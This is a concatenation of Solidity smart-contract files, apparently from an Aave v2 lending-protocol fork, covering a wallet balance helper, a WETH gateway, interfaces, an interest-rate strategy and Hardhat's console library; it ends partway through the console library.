import {Address} from '../dependencies/openzeppelin/contracts/Address.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {SafeERC20} from '../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; /** * @title WalletBalanceProvider contract * @author Aave, influenced by https://github.com/wbobeirne/eth-balance-checker/blob/master/contracts/BalanceChecker.sol * @notice Implements a logic of getting multiple tokens balance for one user address * @dev NOTE: THIS CONTRACT IS NOT USED WITHIN THE AAVE PROTOCOL. It's an accessory contract used to reduce the number of calls * towards the blockchain from the Aave backend. **/ contract WalletBalanceProvider { using Address for address payable; using Address for address; using SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; address constant MOCK_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** @dev Fallback function, don't accept any ETH **/ receive() external payable { //only contracts can send ETH to the core require(msg.sender.isContract(), '22'); } /** @dev Check the token balance of a wallet in a token contract Returns the balance of the token for user. Avoids possible errors: - return 0 on non-contract address **/ function balanceOf(address user, address token) public view returns (uint256) { if (token == MOCK_ETH_ADDRESS) { return user.balance; // ETH balance // check if token is actually a contract } else if (token.isContract()) { return IERC20(token).balanceOf(user); } revert('INVALID_TOKEN'); } /** * @notice Fetches, for a list of _users and _tokens (ETH included with mock address), the balances * @param users The list of users * @param tokens The list of tokens * @return And array with the concatenation of, for each user, his/her balances **/ function batchBalanceOf(address[] calldata users, address[] calldata tokens) external view returns (uint256[] memory) { uint256[] memory balances = new uint256[](users.length * tokens.length); for (uint256 i = 0; i < users.length; i++) { for (uint256 j = 0; j < tokens.length; j++) { balances[i * tokens.length + j] = balanceOf(users[i], tokens[j]); } } return balances; } /** @dev provides balances of user wallet for all reserves available on the pool */ function getUserWalletBalances(address provider, address user) external view returns (address[] memory, uint256[] memory) { ILendingPool pool = ILendingPool(ILendingPoolAddressesProvider(provider).getLendingPool()); address[] memory reserves = pool.getReservesList(); address[] memory reservesWithEth = new address[](reserves.length + 1); for (uint256 i = 0; i < reserves.length; i++) { reservesWithEth[i] = reserves[i]; } reservesWithEth[reserves.length] = MOCK_ETH_ADDRESS; uint256[] memory balances = new uint256[](reservesWithEth.length); for (uint256 j = 0; j < reserves.length; j++) { DataTypes.ReserveConfigurationMap memory configuration = pool.getConfiguration(reservesWithEth[j]); (bool isActive, , , ) = configuration.getFlagsMemory(); if (!isActive) { balances[j] = 0; continue; } balances[j] = balanceOf(user, reservesWithEth[j]); } balances[reserves.length] = balanceOf(user, MOCK_ETH_ADDRESS); return (reservesWithEth, balances); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {Ownable} from '../dependencies/openzeppelin/contracts/Ownable.sol'; import {IERC20} from '../dependencies/openzeppelin/contracts/IERC20.sol'; import {IWETH} from './interfaces/IWETH.sol'; import {IWETHGateway} from './interfaces/IWETHGateway.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {Helpers} from '../protocol/libraries/helpers/Helpers.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract WETHGateway is IWETHGateway, Ownable { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; IWETH internal immutable WETH; /** * @dev Sets the WETH address and the LendingPoolAddressesProvider address. Infinite approves lending pool. * @param weth Address of the Wrapped Ether contract **/ constructor(address weth) public { WETH = IWETH(weth); } function authorizeLendingPool(address lendingPool) external onlyOwner { WETH.approve(lendingPool, uint256(-1)); } /** * @dev deposits WETH into the reserve, using native ETH. A corresponding amount of the overlying asset (aTokens) * is minted. * @param lendingPool address of the targeted underlying lending pool * @param onBehalfOf address of the user who will receive the aTokens representing the deposit * @param referralCode integrators are assigned a referral code and can potentially receive rewards. **/ function depositETH( address lendingPool, address onBehalfOf, uint16 referralCode ) external payable override { WETH.deposit{value: msg.value}(); ILendingPool(lendingPool).deposit(address(WETH), msg.value, onBehalfOf, referralCode); } /** * @dev withdraws the WETH _reserves of msg.sender. * @param lendingPool address of the targeted underlying lending pool * @param amount amount of aWETH to withdraw and receive native ETH * @param to address of the user who will receive native ETH */ function withdrawETH( address lendingPool, uint256 amount, address to ) external override { IAToken aWETH = IAToken(ILendingPool(lendingPool).getReserveData(address(WETH)).aTokenAddress); uint256 userBalance = aWETH.balanceOf(msg.sender); uint256 amountToWithdraw = amount; // if amount is equal to uint(-1), the user wants to redeem everything if (amount == type(uint256).max) { amountToWithdraw = userBalance; } aWETH.transferFrom(msg.sender, address(this), amountToWithdraw); ILendingPool(lendingPool).withdraw(address(WETH), amountToWithdraw, address(this)); WETH.withdraw(amountToWithdraw); _safeTransferETH(to, amountToWithdraw); } /** * @dev repays a borrow on the WETH reserve, for the specified amount (or for the whole amount, if uint256(-1) is specified). * @param lendingPool address of the targeted underlying lending pool * @param amount the amount to repay, or uint256(-1) if the user wants to repay everything * @param rateMode the rate mode to repay * @param onBehalfOf the address for which msg.sender is repaying */ function repayETH( address lendingPool, uint256 amount, uint256 rateMode, address onBehalfOf ) external payable override { (uint256 stableDebt, uint256 variableDebt) = Helpers.getUserCurrentDebtMemory( onBehalfOf, ILendingPool(lendingPool).getReserveData(address(WETH)) ); uint256 paybackAmount = DataTypes.InterestRateMode(rateMode) == DataTypes.InterestRateMode.STABLE ? stableDebt : variableDebt; if (amount < paybackAmount) { paybackAmount = amount; } require(msg.value >= paybackAmount, 'msg.value is less than repayment amount'); WETH.deposit{value: paybackAmount}(); ILendingPool(lendingPool).repay(address(WETH), msg.value, rateMode, onBehalfOf); // refund remaining dust eth if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); } /** * @dev borrow WETH, unwraps to ETH and send both the ETH and DebtTokens to msg.sender, via `approveDelegation` and onBehalf argument in `LendingPool.borrow`. * @param lendingPool address of the targeted underlying lending pool * @param amount the amount of ETH to borrow * @param interesRateMode the interest rate mode * @param referralCode integrators are assigned a referral code and can potentially receive rewards */ function borrowETH( address lendingPool, uint256 amount, uint256 interesRateMode, uint16 referralCode ) external override { ILendingPool(lendingPool).borrow( address(WETH), amount, interesRateMode, referralCode, msg.sender ); WETH.withdraw(amount); _safeTransferETH(msg.sender, amount); } /** * @dev transfer ETH to an address, revert if it fails. * @param to recipient of the transfer * @param value the amount to send */ function _safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'ETH_TRANSFER_FAILED'); } /** * @dev transfer ERC20 from the utility contract, for ERC20 recovery in case of stuck tokens due * direct transfers to the contract address. * @param token token to transfer * @param to recipient of the transfer * @param amount amount to send */ function emergencyTokenTransfer( address token, address to, uint256 amount ) external onlyOwner { IERC20(token).transfer(to, amount); } /** * @dev transfer native Ether from the utility contract, for native Ether recovery in case of stuck Ether * due selfdestructs or transfer ether to pre-computated contract address before deployment. * @param to recipient of the transfer * @param amount amount to send */ function emergencyEtherTransfer(address to, uint256 amount) external onlyOwner { _safeTransferETH(to, amount); } /** * @dev Get WETH address used by WETHGateway */ function getWETHAddress() external view returns (address) { return address(WETH); } /** * @dev Only WETH contract is allowed to transfer ETH here. Prevent other addresses to send Ether to this contract. */ receive() external payable { require(msg.sender == address(WETH), 'Receive not allowed'); } /** * @dev Revert fallback calls */ fallback() external payable { revert('Fallback not allowed'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETH { function deposit() external payable; function withdraw(uint256) external; function approve(address guy, uint256 wad) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETHGateway { function depositETH( address lendingPool, address onBehalfOf, uint16 referralCode ) external payable; function withdrawETH( address lendingPool, uint256 amount, address onBehalfOf ) external; function repayETH( address lendingPool, uint256 amount, uint256 rateMode, address onBehalfOf ) external payable; function borrowETH( address lendingPool, uint256 amount, uint256 interesRateMode, uint16 referralCode ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IReserveInterestRateStrategy} from '../../interfaces/IReserveInterestRateStrategy.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import 'hardhat/console.sol'; /** * @title DefaultReserveInterestRateStrategy contract * @notice Implements the calculation of the interest rates depending on the reserve state * @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE` * point of utilization and another from that one to 100% * - An instance of this same contract, can't be used across different Aave markets, due to the caching * of the LendingPoolAddressesProvider * @author Aave **/ contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy { using WadRayMath for uint256; using SafeMath for uint256; using PercentageMath for uint256; /** * @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates. * Expressed in ray **/ uint256 public immutable OPTIMAL_UTILIZATION_RATE; /** * @dev This constant represents the excess utilization rate above the optimal. It's always equal to * 1-optimal utilization rate. Added as a constant here for gas optimizations. * Expressed in ray **/ uint256 public immutable EXCESS_UTILIZATION_RATE; ILendingPoolAddressesProvider public immutable addressesProvider; // Base variable borrow rate when Utilization rate = 0. Expressed in ray uint256 internal immutable _baseVariableBorrowRate; // Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope1; // Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope2; // Slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope1; // Slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope2; constructor( ILendingPoolAddressesProvider provider, uint256 optimalUtilizationRate, uint256 baseVariableBorrowRate, uint256 variableRateSlope1, uint256 variableRateSlope2, uint256 stableRateSlope1, uint256 stableRateSlope2 ) public { OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate; EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate); addressesProvider = provider; _baseVariableBorrowRate = baseVariableBorrowRate; _variableRateSlope1 = variableRateSlope1; _variableRateSlope2 = variableRateSlope2; _stableRateSlope1 = stableRateSlope1; _stableRateSlope2 = stableRateSlope2; } function variableRateSlope1() external view returns (uint256) { return _variableRateSlope1; } function variableRateSlope2() external view returns (uint256) { return _variableRateSlope2; } function stableRateSlope1() external view returns (uint256) { return _stableRateSlope1; } function stableRateSlope2() external view returns (uint256) { return _stableRateSlope2; } function baseVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate; } function getMaxVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate.add(_variableRateSlope1).add(_variableRateSlope2); } /** * @dev Calculates the interest rates depending on the reserve's state and configurations * @param reserve The address of the reserve * @param liquidityAdded The liquidity added during the operation * @param liquidityTaken The liquidity taken during the operation * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view override returns ( uint256, uint256, uint256 ) { uint256 availableLiquidity = IERC20(reserve).balanceOf(aToken); //avoid stack too deep availableLiquidity = availableLiquidity.add(liquidityAdded).sub(liquidityTaken); return calculateInterestRates( reserve, availableLiquidity, totalStableDebt, totalVariableDebt, averageStableBorrowRate, reserveFactor ); } struct CalcInterestRatesLocalVars { uint256 totalDebt; uint256 currentVariableBorrowRate; uint256 currentStableBorrowRate; uint256 currentLiquidityRate; uint256 utilizationRate; } /** * @dev Calculates the interest rates depending on the reserve's state and configurations. * NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface. * New protocol implementation uses the new calculateInterestRates() interface * @param reserve The address of the reserve * @param availableLiquidity The liquidity available in the corresponding aToken * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) public view override returns ( uint256, uint256, uint256 ) { CalcInterestRatesLocalVars memory vars; vars.totalDebt = totalStableDebt.add(totalVariableDebt); vars.currentVariableBorrowRate = 0; vars.currentStableBorrowRate = 0; vars.currentLiquidityRate = 0; vars.utilizationRate = vars.totalDebt == 0 ? 0 : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt)); vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle()) .getMarketBorrowRate(reserve); if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) { uint256 excessUtilizationRateRatio = vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE); vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add( _stableRateSlope2.rayMul(excessUtilizationRateRatio) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add( _variableRateSlope2.rayMul(excessUtilizationRateRatio) ); } else { vars.currentStableBorrowRate = vars.currentStableBorrowRate.add( _stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE)) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add( vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE) ); } vars.currentLiquidityRate = _getOverallBorrowRate( totalStableDebt, totalVariableDebt, vars .currentVariableBorrowRate, averageStableBorrowRate ) .rayMul(vars.utilizationRate) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor)); return ( vars.currentLiquidityRate, vars.currentStableBorrowRate, vars.currentVariableBorrowRate ); } /** * @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param currentVariableBorrowRate The current variable borrow rate of the reserve * @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans * @return The weighted averaged borrow rate **/ function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt.add(totalVariableDebt); if (totalDebt == 0) return 0; uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate); uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate); uint256 overallBorrowRate = weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay()); return overallBorrowRate; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingRateOracle interface * @notice Interface for the Aave borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations **/ interface ILendingRateOracle { /** @dev returns the market borrow rate in ray **/ function getMarketBorrowRate(address asset) external view returns (uint256); /** @dev sets the market borrow rate. Rate value must be in ray **/ function setMarketBorrowRate(address asset, uint256 rate) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); 